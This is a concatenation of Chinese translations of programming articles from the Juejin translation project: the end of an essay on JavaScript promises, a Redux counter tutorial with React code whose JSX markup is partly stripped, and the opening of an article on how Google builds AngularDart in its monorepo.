(等价于异步迭代器),你可能需要像流(Streams),[Observables](http://reactivex.io/documentation/observable.html),或者 [CSP Channels](http://www.usingcsp.com/cspbook.pdf) 这样的东西。 * **表示动作**。 这也意味着不能按顺序执行promise,因为一旦得到一个promise,就马上开始计算它的值了。对于动作可以使用 [CPS](http://matt.might.net/articles/by-example-continuation-passing-style/),[Continuation monad](http://www.haskellforall.com/2012/12/the-continuation-monad.html),或者像 C♯ 那样的 [Task (co)monad](https://www.cl.cam.ac.uk/teaching/1213/R204/asynclecture.pdf)。 ## 8\. 结论 Promise 允许我们组合同步与异步过程,对于处理最后返回的值是一种很棒的方式。虽然 ECMAScript 2015 里面的 promise 标准还有它自身的一系列问题,比如自动地具体化错误应该使进程崩溃,但它有一个非常好用的工具来处理上述问题。无论你是否使用他们,理解 promise 是什么和它的工作原理是很重要的,因为在所有的 ECMAScript 工程当中,它们的使用正变得越来越普遍。 ## 引用 [ECMAScript® 2015 Language Specification](http://www.ecma-international.org/ecma-262/6.0/) _Allen Wirfs-Brock_ — 定义了 JavaScript 中的 promise 标准。 [Alice Through The Looking Glass](http://www.ps.uni-saarland.de/Papers/abstracts/alice-looking-glass.html) _Andreas Rossberg,Didier Le Botlan,Guido Tack,Thorsten Brunklaus,and Gert Smolka_ — 提出了 Alice 语言,通过 future 和 promise 支持了并发。 [Haskell 98 Language and Libraries](https://www.haskell.org/definition/haskell98-report.pdf) _Simon Peyton Jones_ — 非正式地描述了 Haskell 编程语言的语义。 [Communicating Sequential Processes](http://www.usingcsp.com/cspbook.pdf) _C. A. R. Hoare_ — 描述了进程的并发组合,比如确定性和非确定性的选择。 [Monads For Functional Programming](http://homepages.inf.ed.ac.uk/wadler/papers/marktoberdorf/baastad.pdf) _Philip Wadler_ — 描述了在这当中的其他内容,monads 是如何被用在函数式语言错误处理的。尽管在 ECMAScript 2015 中,promise 没有实现 monad 的接口,但是 Promise 的顺序和错误处理非常接近于 monad 的构想。 ## 附加资源 [Source Code For This Blog Post](https://github.com/robotlolita/robotlolita.github.io/tree/master/examples/promises) 包含了这篇博文里所有的(有注释的)源代码(包含一个遵循了 ECMAScript 2015 规范的 promise 最小化实现)。 [Promises/A+ Considered Harmful](http://robotlolita.me/2013/06/28/promises-considered-harmful.html) _Quildreen Motta_ — 在复杂程度、错误处理、性能方面,讨论了Promises/A+ 和 ECMAScript 2015 Promises 标准中的一些问题。 [Professor Frisby’s Mostly Adequate Guide to Functional Programming](https://www.gitbook.com/book/drboolean/mostly-adequate-guide/details) _Brian Lonsdorf_ — 一本关于 JavaScript 函数式编程的引导性的图书。 [Callbacks Are Imperative,Promises Are Functional: Node’s Biggest Missed Opportunity](https://blog.jcoglan.com/2013/03/30/callbacks-are-imperative-promises-are-functional-nodes-biggest-missed-opportunity/) _James Coglan_ — 通过描述一个程序的执行顺序,对比了 Continuation-Passing Style 和 Promise。 [Simple Made Easy](http://www.infoq.com/presentations/Simple-Made-Easy) _Rich Hickey_ — Rich在演讲中讨论了在设计的背景下的“简单”和“容易”,虽然和 promise 没有直接相关,但是和编程有很大的关系。 [Proper Tail Calls in Harmony](https://blog.mozilla.org/dherman/2011/01/30/proper-tail-calls-in-harmony/) _Dave Herman_ — 讨论了在 ECMAScript 中合理使用尾部调用的好处。 [Your Mouse is a Database](http://queue.acm.org/detail.cfm?id=2169076) _Erik Meijer_ — 讨论了基于事件和异步计算的Rx的协调和编制,使用了观察者的概念。 [Stream Handbook](https://github.com/substack/stream-handbook) _James Halliday (substack)_ — 涵盖了编写 Node.js 流(Streams)程序的一些基础知识。 [By Example: Continuation-Passing Style in JavaScript](http://matt.might.net/articles/by-example-continuation-passing-style/) _Matt Might_ — 描述了 continuation-passing style 如何被应用在 JavaScript 非阻塞计算中。 [The Continuation Monad](http://www.haskellforall.com/2012/12/the-continuation-monad.html) _Gabriel Gonzalez_ — 基于 Haskell 编程语言环境,讨论了诸如 monads 这样的概念延续。 [Pause ‘n’ Play: Asynchronous C♯ Explained](https://www.cl.cam.ac.uk/teaching/1213/R204/asynclecture.pdf) _Claudio Russo_ — 解释了使用 Task comonad 的异步计算在 C♯ 中如何工作,以及那个解决方案是怎样和其它模型建立联系的。 ## 资源库 [es6-promise](https://www.npmjs.com/package/es6-promise) 对于没有实现 ECMAScript 2015 的平台,这是一个用来实现 ES2015 promise 的 polyfill。 [Bluebird](https://www.npmjs.com/package/bluebird) 一个高效的 Promises/A+ 实现。 #### 脚注 1. 在 JavaScript 中,你不能在 Promises/A,Promises/A+ 和其它 promise 的常见实现中,直接取出 promise 的值。 在一些 JavaScript 环境中,比如 Rhino 和 Nashorn(译者注:都是用Java实现的JavaScript引擎),也许可以实现支持提取值的 promise。Java的 Futures 就是一个例子。 要从 promise 取出还没计算出来的值,要求阻塞线程,直到值被计算出来。对于大多数JS环境,这并不通用,因为它们都是单线程的。 [↩](#fnref:1) 2. “lambda抽象”是一种在表达式中使用抽象变量的匿名函数。JavaScript 的匿名函数等价于LC的Lambda抽象,然而 JavaScript 也允许给函数命名。 [↩](#fnref:2) 3. Haskell编程语言的工作方式,就是“计算定义”和“执行计算”的分离。一个 Haskell 程序只不过是大量计算结果为 `IO` 数据结构的表达式。这个结果多少类似于我们在这里定义的 `Promise` 结构,因为它只定义了程序中不同计算之间的依赖关系。 在Haskell中,你的程序必须返回 `IO` 类型的值,这个值会随后传递到一个单独的解释器。解释器只知道如何允许 `IO` 计算,并遵守其定义的依赖关系。对于JS,也可以定义某些类似的内容。如果我们那样做的话,所有我们的JS程序都仅仅是一个导致 promise 的表达式,并且那个 promise 会传递到一个单独的组件,这个组件知道如何执行 promise 和它的依赖关系。 看看 [Pure Promises](https://github.com/robotlolita/robotlolita.github.io/tree/master/examples/promises/pure/) 示例目录,可作为这种 promise 形式的一个实现。 [↩](#fnref:3) 4. Monad 是一个接口,可以(并且通常是)用作顺序语义,通过以下操作,可被描述为一个结构体: class Monad m where -- 把值放进monad中 of :: ∀a. a -> Monad a -- 在 monad 中变换值 -- (转换必须保持类型不变) chain :: ∀a, b. m a -> (a -> m b) -> m b 在这个构想中,monad 的 `chain` 操作符 `print(1).chain(_ => print(2))` 和JS的 “分号操作符” 多少有点类似(例如: `print(1); print(2)`)。 [↩](#fnref:4) 5. 这里使用了Rich Hickey的概念:“复杂”和“简单”。 `.then` 就被定义为一种简单的方法。它迎合了一般的使用案例,作为简化概念的代价,那就是 `.then` 做了太多的事情,而且这些事情有相当多的重叠。 另一方面,一个简单的API,会把这些单独概念分离到不同的函数中,使得你可以用 `.then` 把这些功能都实现。 [↩](#fnref:5) 6. `.then` 方法接收一切值和状态,让它们看起来像一个 promise 。在以前,这些是通过一个接口去检查,这意味着通过检查一个对象是否提供了 `.then` 方法,可以包含所有的对象,它们都不符合 promise 的 `.then` 方法。 如果 promise 标准不受限于向后兼容性,使用现存的 promise 实现,可以进行更可靠的测试,通过使用接口符号(Symbols for interfaces),或者品牌的某些类似形式实现。 [↩](#fnref:6) 7. 适当的尾部调用保证了尾部位置的所有调用将在恒定的堆栈中发生。本质上,这保证了你的程序完全由尾部调用构成,栈将不会增加,因此,栈溢出错误在这样的代码中将不可能出现。附带地,它也允许语言实现,来让这样的代码变得更快,因为它不需要处理常见的函数调用开销。 [↩](#fnref:7) ================================================ FILE: TODO/how-does-redux-work.md ================================================ > * 原文地址:[How Redux Works: A Counter-Example](https://daveceddia.com/how-does-redux-work/) > * 原文作者:[Dave Ceddia](https://daveceddia.com/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-does-redux-work.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-does-redux-work.md) > * 译者:[hexianga](https://github.com/hexianga) > * 校对者:[薛定谔的猫](https://github.com/Aladdin-ADD),[guoyang](https://github.com/gy134340) # Redux 的工作过程: 一个计数器例子 在学习了一些 React 后开始学习 Redux,Redux 的工作过程让人感到很困惑。 Actions,reducers,action creators(Action 创建函数),middleware(中间件),pure functions(纯函数),immutability(不变性)… 这些术语看起来非常陌生。 所以在这篇文章中我将用一种有利于大家理解的反向剖析的方法去揭开 Redux **怎样**工作的神秘面纱。在 [上一篇](https://daveceddia.com/what-does-redux-do/) 中,在提出专业术语之前我将尝试用简单易懂的语言去解释 Redux。 如果你还不明确 **Redux 是干什么的** 或者为什么要使用它,请先移步 [这篇文章](https://daveceddia.com/what-does-redux-do/) 然后再回到这里继续阅读。 ## 第一:明白 React 的状态 state 我们将从一个简单的使用 React 状态的例子开始,然后一点一点地添加Redux。 这是一个计数器: ![计数器组件](https://daveceddia.com/images/counter-plain.png) 这里是代码 (为了使代码简单我没有贴出 CSS 代码,所以下面代码的效果会不会像上面图片一样美观): ``` import React from 'react'; class Counter extends React.Component { state = { count: 0 } increment = () => { this.setState({ count: this.state.count + 1 }); } decrement = () => { this.setState({ count: this.state.count - 1 }); } render() { return (

      Counter

      {this.state.count}
      ) } } export default Counter; ``` 简单的看一下他是怎样跑起来的: * 这个 `count` 状态被存储在最外层组件 `Counter` 里面 * 当用户点击 “+”,这个按钮的 `onClick` 回调函数被触发, 也就是组件 `Counter` 里面的 `increment` 方法被调用。 * `increment` 方法用新的数字更新状态 count。 * 由于状态被改变了, React 重新渲染 `Counter` 组件 (还有它的子组件), 然后显示新的计数器的值. 如果你想要了解更多的状态怎么被改变的细节,去阅读 [React 中状态的图形化指南](https://daveceddia.com/visual-guide-to-state-in-react/) 然后再回到这里。严格来讲:如果上面的例子没有帮助你回顾起 React 的 state ,那么在你学习 Redux 之前应该去学习 React 的 state 是怎么工作的。 #### 快速开始 如果你想通过代码学习,现在就创建一个项目: * 如果你之前没有安装 create-react-app ,那么先安装 (`npm install -g create-react-app`) * 创建一个项目: `create-react-app redux-intro` * 打开 `src/index.js` 然后用下面的代码进行替换: ``` import React from 'react'; import { render } from 'react-dom'; import Counter from './Counter'; const App = () => (
      ); render(, document.getElementById('root')); ``` * 用上面的计数器代码创建一个 `src/Counter.js` ## 现在: 添加 Redux 在 [第一部分中讨论到](https://daveceddia.com/what-does-redux-do/),Redux 保存应用程序的状态 **state** 在单一的状态树 **store**中。然后你可以将 state 的部分抽离出来,然后以 props 的方式传入组件。这使你可以把数据保存在一个全局的位置(状态树 store )然后将其注入到应用程序中的**任何一个**组件中,而不用通过多层级的属性传递。 注意:你可能经常看到 “state” 和 “store” 混着使用,但是严格来讲: **state**是数据,而 **store** 是数据保存的地方。 我们接着往下走,利用你的编辑器继续编辑我们下面的代码,它将帮助你理解 Redux 怎么工作(我们通过讲解一些错误来继续)。 添加 Redux 到你的项目中: ``` $ yarn add redux react-redux ``` #### redux vs react-redux 等等 — 这是两个库吗?你可能会问 “react-redux 是什么”?对不起,我一直在骗你。 你看,`redux` 给了你一个状态树 store,让你可以把状态 state 存在里面,然后可以把状态取出来,当状态改变的时候可以做出响应。然而这是他它做的所有事。实际上正是 `react-redux` 将 state 与 React 组件联系起来。实际上:`redux` 和 React **一点儿也没有**关系。 这些库就像豌豆荚里面的两粒豌豆,99.999% 的时候当有人在 React 的背景下提到 “Redux” 的时候,他们指的是这两个库。所以记住:当你在 StackOverflow 或者 Reddit 或者[其它任何地方](https://daveceddia.com/keeping-up-with-javascript/)看到 Redux 时,他指的是这两个库。 ## 最后一件事 大多数教程一开始就创建一个 store 状态树,设置 Redux,写一个 reducer,等等,出现在屏幕上的任何效果在展现出来之前都会经过大量的操作。 我将采用一种反向推导的方法,使用同样多的代码展现出同样的效果。但是希望每一个步骤后面的原理都能展现地更加清楚。 回到计数器的应用程序,我们把组件的状态转移到 Redux。 我们把状态从组件里面移除,因为我们很快可以从 Redux 中获取它们: ``` import React from 'react'; class Counter extends React.Component { increment = () => { // 后面填充 } decrement = () => { // 后面填充 } render() { return (

      Counter

      {this.props.count}
      ) } } export default Counter; ``` ## 计数器的流程 我们注意到 `{this.state.count}` 改变成了 `{this.props.count}`。当然这不会起作用,因为计数器组件还没有接受 `count` 属性,我们通过 Redux 注入这个属性。 为了从 Redux 中获得状态 count,我们需要在模块的顶部导入 `connect` 方法: ``` import { connect } from 'react-redux'; ``` 然后接下来我们需要 “connect” 计数器组件到 Redux 中: ``` // 添加这个函数: function mapStateToProps(state) { return { count: state.count }; } // 然后这样替换: // 默认导出计数器组件; // 这样导出: export default connect(mapStateToProps)(Counter); ``` 这将发生错误 (在第二部分会有更多错误)。 以前我们导出函数本身,现在我们把它用 `connect` 函数包装后调用。 #### 什么是 `connect`? 你可能注意到这个函数调用看起来有一些奇怪。为什么是 `connect(mapStateToProps)(Counter)` 而不是 `connect(mapStateToProps, Counter)` 或者 `connect(Counter, mapStateToProps)`?这将发生什么呢? 之所以这样写是因为 `connect` 是一个**高阶函数**,当你调用它的时候会返回一个函数,然后用一个组件做参数调用**那个函数**返回一个新的包装过的组件。 返回的组件另一个名字叫做[高阶组件](https://daveceddia.com/extract-state-with-higher-order-components/) (又叫做 “HOC”)。高阶组件被指责有很多的缺点,但是他们仍然非常有用,`connect` 就是一个很好的例子。 `connect` 连接整个状态到了Redux,通过你自己提供的 `mapStateToProps` 函数, 这需要一个自定义的函数因为只有你自己知道状态在 Redux 中的模型。 `connect` 连接了所有的状态,“嘿,告诉我你需要从混乱的状态中得到什么”。 从 `mapStateToProps` 函数中返回的状态作为属性注入到你的组件中。上面例子中的 `state.count` 作为 `count` 属性:对象中的键名作为属性名,它们对应的值作为属性的值。所以你看,从函数的字面意思上是**定义了状态到属性的映射**。 ## 错误意味着有进展! 代码进行到这里,你会在控制台里面看到下面的错误: > Could not find “store” in either the context or props of “Connect(Counter)”. Either wrap the root component in a , or explicitly pass "store" as a prop to "Connect(Counter)". 因为 `connect` 从 Redux store 树里面获取状态,而我们还没有创建状态树或者说告诉 app 怎样去找到 store 树,这是一个合乎逻辑的错误,Redux 还不知道现在发生了什么事。 ## 提供一个状态树 store Redux 控制着整个 app 的全部状态,通过 `react-redux` 里面的 `Provider` 组件包裹着整个 app,app 里面的**每一个组件**都可以通过 `connect` 去进入到 Redux store 里面获取状态。 这意味着最外围的 `App` 组件,以及 `App` 的子组件(像 `Counter`),甚至他们子组件的子组件等等,所有的组件都可以访问状态树 store,只要把他们通过 `connect` 函数调用。 我不是说要把每一个组件都用 `connect` 函数调用,那是一个很糟糕的做法(设计混乱而且太慢了)。 `Provider` 看起来很具有魔性,实际上在挂载的时候使用了 React 的 “context” 特性。 `Provider` 就像一个秘密通道连接到了每一个组件,使用 `connect` 打开了通向每一个组件的大门。 想象一下,把糖浆倒在一堆煎饼上,假如你只把糖浆倒在了最上面的煎饼上,怎么才能让所有的煎饼都能蘸到糖浆呢。 `Provider` 为 Redux 做了这件事。 在文件 `src/index.js`中,导入 `Provider` 组件并且用它来包裹 `App` 组件的内容。 ``` import { Provider } from 'react-redux'; ... const App = () => ( ); ``` 我们仍然会遇到报错,因为 `Provider` 需要一个 store 状态树才能起作用,它会把 store 作为属性,所以我们首先需要创建一个 store。 ## 创建一个 store Redux 使用一个方便的函数来创建 stores,这个函数就是 `createStore`。好了,现在让我们来创建一个 store 然后把它作为属性传入 Provider 组件: ``` import { createStore } from 'redux'; const store = createStore(); const App = () => ( ); ``` 又产生了另外一个不同的错误: > Expected the reducer to be a function. 现在是 Redux 的问题了,Redux 不是那么的智能,你可能希望创建一个 store,它就会从 store 中 给你一个中很好的默认的值,哪怕是一个空对象? 但是绝不会这样,Redux 不会对你的状态的组成做出任何的猜测,状态的组成结构完全取决于你自己。他可以是一个对象, 一个数字, 一个字符串, 或者是你需要的任何形式。所以我们必须提供一个函数去返回这个状态,这个函数就叫做**reducer**(后面会解释为什么这么命名)。让我们来看看函数最简单的情况,将它作为函数 `createStore` 的参数,看看会发生什么: ``` function reducer() { // just gonna leave this blank for now // which is the same as `return undefined;` } const store = createStore(reducer); ``` ## Reducer 必须要有返回值 又产生了另外的错误: > Cannot read property ‘count’ of undefined 产生这个错误是因为我们试图去取得 `state.count`,但是 `state` 却没有定义。Redux 希望 `reducer` 函数为 `state` 返回一个值,而不是返回一个 `undefined`。 reducer 函数应该返回一个状态,实际上它应该用利用**当前状态**去返回**新的状态**。 让我们用 reducer 函数去返回满足我们需要的状态形式:一个含有 `count` 属性的对象。 ``` function reducer() { return { count: 42 }; } ``` 嘿!这个 count 现在显示为 “42”,神奇吧。 只是有一个问题:count 一直显示为42。 ## 目前为止 在我们进一步了解怎么**更新**计数器的值之前,我们先来了解一下到目前为止我们做了些什么: * 我们写了一个 `mapStateToProps` 函数,该函数的作用是:把 Redux 中的状态转换成一个包含属性的对象。 * 我们用模块 `react-redux` 中的函数 `connect` 把 Redux store 状态树和 `Counter` 组件连接起来,使用 `mapStateToProps` 函数配置了怎么联系。 * 我们创建了一个 `reducer` 函数去告诉 Redux 我们的状态应该是什么形式的。 * 我们使用 `reducer` 做 `createStore` 函数的参数,用它创建了一个 store。 * 我们把整个组件包裹在了 `react-redux` 中的组件 `Provider` 中,向该组件传入了 store 作为属性。 * 这个程序工作的很好,唯一的问题是计数器显示停留在了42。 你跟着我做到现在了吗? ## 互动起来 (让计数器工作) 我知道到目前为止我们的程序是很差劲的,你们已经写了一个显示着数字 “42” 和两个无效的按钮的静态的 HTML 页面,不过你还在继续阅读,接下来将继续用 React 和 Redux 和其它的一些东西让我们的程序变得复杂起来。 我保证接下来做的事情会让上面做的一切都值得。 事实上,我收回刚才那句话,一个简单的计数器的例子是一个很好的教学例子,但是 Redux 让应用变得复杂了,React 的 state 应用起来其实也很简单,甚至一般的 JS 代码也能够实现的很好,挑选正确的工具做正确的事,Redux 不总是那个合适的工具,不过我偏题了。 ## 初始化状态 我们需要一个方式去告诉 Redux 改变计数器的值。 还记得我们写的 `reducer` 函数吗?(当然你肯定记得,因为那是两分钟之前的事)。 还记得我说过它会使用**当前状态**返回**新的状态**吗?好的,我再重复一次,实际上,它使用当前状态和一个 **action** 作为参数,然后返回一个新的状态,我们应该这样写: ``` function reducer(state, action) { return { count: 42 }; } ``` Redux 第一次调用这个函数的时候会以 `undefined` 作为实参替代 `state`,意味着返回的是**初始状态**,对于我们来说,可能返回的是一个属性 `count` 值为 0 的对象。 在 reducer 上面写初始状态是很常见的,当 `state` 参数未定义的时候,使用 ES6 的默认参数的特性为 `state` 参数提供一个参数。 ``` const initialState = { count: 0 }; function reducer(state = initialState, action) { return state; } ``` 这样子试试呢,代码仍然会起作用,不过现在计数器停留在了 0 而不是 42,多么让人惊讶。 ## Action 我们最后谈谈 `action` 参数,这是什么呢?它来自哪里呢? 我们怎么用它去改变不变的 counter 呢? 一个 “action” 是一个描述了我们想要改变什么的 JS 对象,为一个要求就是对象必须要有一个 `type` 属性,它的值应该是一个字符串,这里有一个例子: ``` { type: "INCREMENT" } ``` 这是另外一个例子: ``` { type: "DECREMENT" } ``` 你的大脑在快速运转吗?你知道接下来我们要做什么吗? ## 对 Actions 做出响应 还记得 reducer 的作用是用**当前状态**和一个**action**去计算出新的状态吧。所以如果一个 reducer 接受了一个 action 例如 `{ type: "INCREMENT" }`,你想要返回什么作为新的状态呢? 如果你像下面这样想,那么你就想对了: ``` function reducer(state = initialState, action) { if(action.type === "INCREMENT") { return { count: state.count + 1 }; } return state; } ``` 使用 `switch` 语句和 `case` 语句处理每一个 action 是很常见的写法把你的 reducer 函数写成下面这样子: ``` function reducer(state = initialState, action) { switch(action.type) { case 'INCREMENT': return { count: state.count + 1 }; case 'DECREMENT': return { count: state.count - 1 }; default: return state; } } ``` #### 总是返回一个状态 你会注意到**函数**默认返回的是 `return state`。这很重要,因为 action 不知道要做什么,Redux 通过 action 去调用你的 reducer 函数。实际上 你接受的第一个 action 是 `{ type: "@@redux/INIT" }`。试着在 `switch` 前面写一个 `console.log(action)` 看看会打印出什么。 还记得 reducer 的工作是返回一个**新状态**吧,即使当前状态没有发生改变也要返回。 你不想从 “有一个状态” 变成 “state = undefined” 吧? 在你忘了 `default` 情况的时候就会发生这样的事,不要这样做。 #### 永远不要改变状态 永远不要去做这件事:不要**改变** `state`。State 是不可变的。你不可以改变它,意味着你不能这样做: ``` function brokenReducer(state = initialState, action) { switch(action.type) { case 'INCREMENT': // 不,不要这样做,这样正在改变状态 state.count++; return state; case 'DECREMENT': // 不要这样做,这也是在改变状态 state.count--; return state; default: // 这样做是很好的. return state; } } ``` 你也不要做这样的事,比如写 `state.foo = 7` 或者 `state.items.push(newItem)`,或者 `delete state.something`。 把这想象为一场游戏,你唯一能做的事就是 `return { ... }`,这是一个有趣的游戏,一开始游戏有些让人抓狂,但是随着你的练习你会觉得游戏越来越有意思。 我编写了一个简短的指南关于怎么去处理不可变的更新,展示了七种常见的包括对象和数组在内的更新模式。 #### 所有的规则… 总是返回一个状态,不要去改变状态,不要连接到每一个组件,吃你自己的西蓝花,不要在外面待着超过 11 点...,真累啊。这就像一个规则工厂,我甚至不知道那是什么。 是的,Redux 可能就像一个霸道的父母。但是都是出于爱。来自函数式编程的爱。 Redux 建立在不变性的基础上,因为改变全局的状态就是一条通向毁灭的道路。 你是否使用一个全局对象去保存整个 app 的状态?一开始运行的很好,很容易,然后状态在没有任何预测的情况下发生了改变,而且几乎不可能去找到改变状态的代码。 Redux 使用一些简单的规则去避免了这样的问题,State 是只读的,actions 是唯一修改状态的方式,改变状态只有一种方式:这个方式就是:action -> reducer -> 新的状态。reducer 必须是一个**纯函数**,它不能修改它的参数。 有插件可以帮助你去记录每一个 action,追溯它们,你可以想象到的一切。从时间上追溯调试是创建 Redux 的动机之一。 ## Actions 来自哪里呢? 让人迷惑的一部分仍然存在:我们需要一个方式去让一个 action 进入到我们的 reducer 中,我们才能增加或者减少这个计数器。 Action 不是被生成的,它们是被**dispatched**的,有一个小巧的函数叫做dispatch。 `dispatch` 函数由 Redux store 的实例提供,也就是说,你不可以仅仅通过 `import { dispatch }`获得 `dispatch` 函数。你可以调用 `store.dispatch(someAction)`,但是那不是很方便,因为 `store` 的实例只在一个文件里面可以被获得。 很幸运,我们还有 `connect` 函数。除了注入 `mapStateToProps` 函数的返回值作为属性以外,`connect` 函数**也**把 `dispatch` 函数作为属性注入了组件,使用这么一点知识,我们又可以让计数器工作起来了。 这里是最后的组件形式,如果你一直跟着写到了这里,那么唯一要改变的实现就是 `increment` 和 `decrement`:它们现在可以调用 `dispatch` 属性,通过它分发一个 action。 ``` import React from 'react'; import { connect } from 'react-redux'; class Counter extends React.Component { increment = () => { this.props.dispatch({ type: 'INCREMENT' }); } decrement = () => { this.props.dispatch({ type: 'DECREMENT' }); } render() { return (

      Counter

      {this.props.count}
      ) } } function mapStateToProps(state) { return { count: state.count }; } export default connect(mapStateToProps)(Counter); ``` 整个项目的代码(它的两个文件)可以在[ Github](https://github.com/dceddia/redux-intro)上面找到。 ## 现在怎样了呢? 利用 Counter 程序作为一个传送带,你可以继续学习会更多的 Redux 知识了。 > “什么?! 还有更多?!” 还有很多的地方我没有讲到,我希望这个介绍是容易理解的 – action constants, action 创建函数, 中间件, thunks 和异步调用, selectors, 等等。 还有很多。这个 [Redux docs](https://redux.js.org/) 文档写的很好,覆盖了我讲到的所有知识和更多的知识。 你已经了解到了基本的思想,希望你理解了数据怎么 Redux 里面变化 (`dispatch(action) -> reducer -> new state -> re-render`),reducer 做了什么,action 又做了什么,它们是怎么作用在一起的。 我将会发布一个新的课程,课程涵盖到所有的这些东西和更多的知识![这里登录](#ck_modal) 去关注. 以循序渐进的方式学习 React,查看我的[书](https://daveceddia.com/pure-react/?utm_campaign=after-post) - 免费查看两个示例章节。 就我而言,即使是免费的介绍也是值得的。 — Isaac --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-google-builds-a-web-framework.md ================================================ > * 原文地址:[How Google builds web frameworks](https://medium.freecodecamp.com/how-google-builds-a-web-framework-5eeddd691dea#.dv1nhpg5w) * 原文作者:[Filip Hracek](https://medium.freecodecamp.com/@filiph) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: [fghpdf](https://github.com/fghpdf) * 校对者:[dubuqingfeng](https://github.com/dubuqingfeng),[Germxu](https://github.com/Germxu) # Google 是如何构建 web 框架的 ![](https://cdn-images-1.medium.com/max/1000/1*QDS-kCgeF8ZJg_JSEwwIeA.jpeg) [众所周知](http://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext),Google 通过一个有 20 亿行的代码仓库来分享代码,而且它是主从式架构的代码仓库。 ![](https://cdn-images-1.medium.com/max/800/1*3hPZNDocbp68XsbsJoZ-iQ.jpeg) 对于不在 Google 的众多开发者来说,这件事非常的令人吃惊和违背常理,但是这个代码仓库却工作的非常好。(上面链接里的文章提供了很好的例子,所以我在此不再赘述。) > Google 的代码库为 Google 在全球各个国家和地区超过 2 万 5 千名的官方开发人员提供代码共享服务。在具有代表性的工作日中,这些开发者有 16,000 份代码修改提交给代码库。([来源](http://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext)) 这篇文章讲述构建一个开源 web 框架 [AngularDart](https://webdev.dartlang.org/angular) 的一些细节 ![](https://cdn-images-1.medium.com/max/800/1*42xyxKFKI9a0j0BWuHGIHg.jpeg) ### 只有一个版本 当你在一个巨大的项目中采用主从式的开发模式,这个项目中的任何东西都只有一个版本。即使这种情况显而易见,但这里还是指出一下,因为这种情况意味着  ——  在 Google  ——  不可能有一款叫做 FooBar 的应用程序用着 AngularDart 2.2.1 版本,而另一款叫做 BarFoo 的应用程序却用着 2.3.0 版本。所有的 app 都必须使用的是同一个版本 (AngularDart)  ——  最新的版本。 ![](https://cdn-images-1.medium.com/max/800/0*vdQqatZdTxZ9CUDs.) 采集的图片来源于 [trunkbaseddevelopment.com](https://trunkbaseddevelopment.com/) 这就是为什么 Google 的员工会说,他们的软件都采用的是及时更新的先进技术。 如果你的整个灵魂尖叫着“危险”!现在是可以理解的。仅仅依靠处于生产环境中的代码仓库中的主干(类似 “master” 分支在 git 中)听起来很危险。但它却真实的在进行。 ### 每一个提交有着 7 万 4 千个测试 AngularDart 定义了 1601 个测试 ([AngularDart 的测试](https://github.com/dart-lang/angular2/tree/master/test))。但是当你在 Google 的仓库中提交了一份关于 AngularDart 的代码改动时,这个代码仓库就会让每一个依赖这个框架的 Google 员工执行测试。目前,一份提交大约有 7 万 4 千个测试(这取决于你提交的代码有多大的改动  ——  一种让系统知道你的代码不会造成影响的启发式测试) ![](https://cdn-images-1.medium.com/max/800/1*5VjjBOiVq74495vLAKctOg.png) 多点测试总是好的。 我做了一个仅能展现测试耗时 5% 的改动,就是在检测变化的算法中模拟了类似于竞争条件的东西(我添加了`&& random.nextDouble() > .05`这个语句到[这个条件中](https://github.com/dart-lang/angular2/blob/v2.1.0/lib/src/core/change_detection/differs/default_iterable_differ.dart#L386))。当我在运行它们时(一旦),它并没有表现出有 1601 个测试的样子。但它确实打断了一系列的客户端测试。 真正的价值在这里,即使这些测试是**实际的应用程序** 。他们不仅数量众多,而且还反映了开发人员如何使用框架(不仅仅是框架作者)。很有意思的是:框架所有者并不能够总是正确地估计他们的框架被如何使用。 它还帮助那些在生产环境中的应用程序获得每月数十亿美金的流量。框架作者在业余时间做的演示程序与实际生产环境中的应用程序之间存在很大的区别,这些生产环境中的应用程序每年具有几十或几百个人的投资。如果在未来网页是相互关联的,我们就需要更好地支持后者的发展 ![](https://cdn-images-1.medium.com/max/800/1*DrJBfzzSTkGdmrlu6OnYfA.png) 那么,如果框架破坏了基于它的一些应用程序,会发生什么呢? ### 谁损坏,谁治理 当 AngularDart 的作者们想引入一个具有破坏性的变化时,**他们不得不去为他们的用户修复它**。由于 Google 的所有内容都存在于单一的项目中,因此找出他们出问题的地方很容易,他们可以立即开始修复。 对 AngularDart 的任何破坏性更改还包括所有依赖它的 Google 应用中对该更改的所有修复。因此破损和修复同时进入代码仓库  ——  当然  ——  是在所有相关方进行正确的代码审查后。 让我们举一个具体一点的例子。当 AngularDart 团队中的某个人做了会影响 AdWords 应用中代码的变更时,他们会去查看该应用的源码并予以修正这个问题。他们可以在此过程中运行 AdWords 的现有测试,也可以添加新的测试。然后,他们把所有这些更改都放入他们的更改列表里,并要求进行代码审查。由于它们的更改列表涉及到 AngularDart 项目和 AdWords 项目中的代码,因此系统会自动要求这两个小组进行代码审查。只有这样,才能提交更改。 ![](https://cdn-images-1.medium.com/max/800/1*kbwhvH4lz1B-jRHBCEvAcA.png) 这对处于早期不受影响的发展阶段的框架能起到很明显的保护。AngularDart 框架的开发人员可以使用他们的平台构建的数百万行代码,他们自己也经常接触那些代码。但他们不需要假设他们的框架被如何使用。(有一个警告很明显,他们只看到 Google 的代码,但这份代码而不是世界上所有的 Workivas、Wrikes 和 StableKernels 使用 AngularDart 的代码,也使用 AngularDart 的代码。) 不得不升级用户的代码也会减慢开发速度。虽然没有你想象的那么多(看看 AngularDart 自十月以来的进展),但它仍然拖慢了很多事情。这种情况说好也行,说坏也可以,这取决于你想从一个框架中得到什么。我们会回来处理这个事的。 无论如何。下次 Google 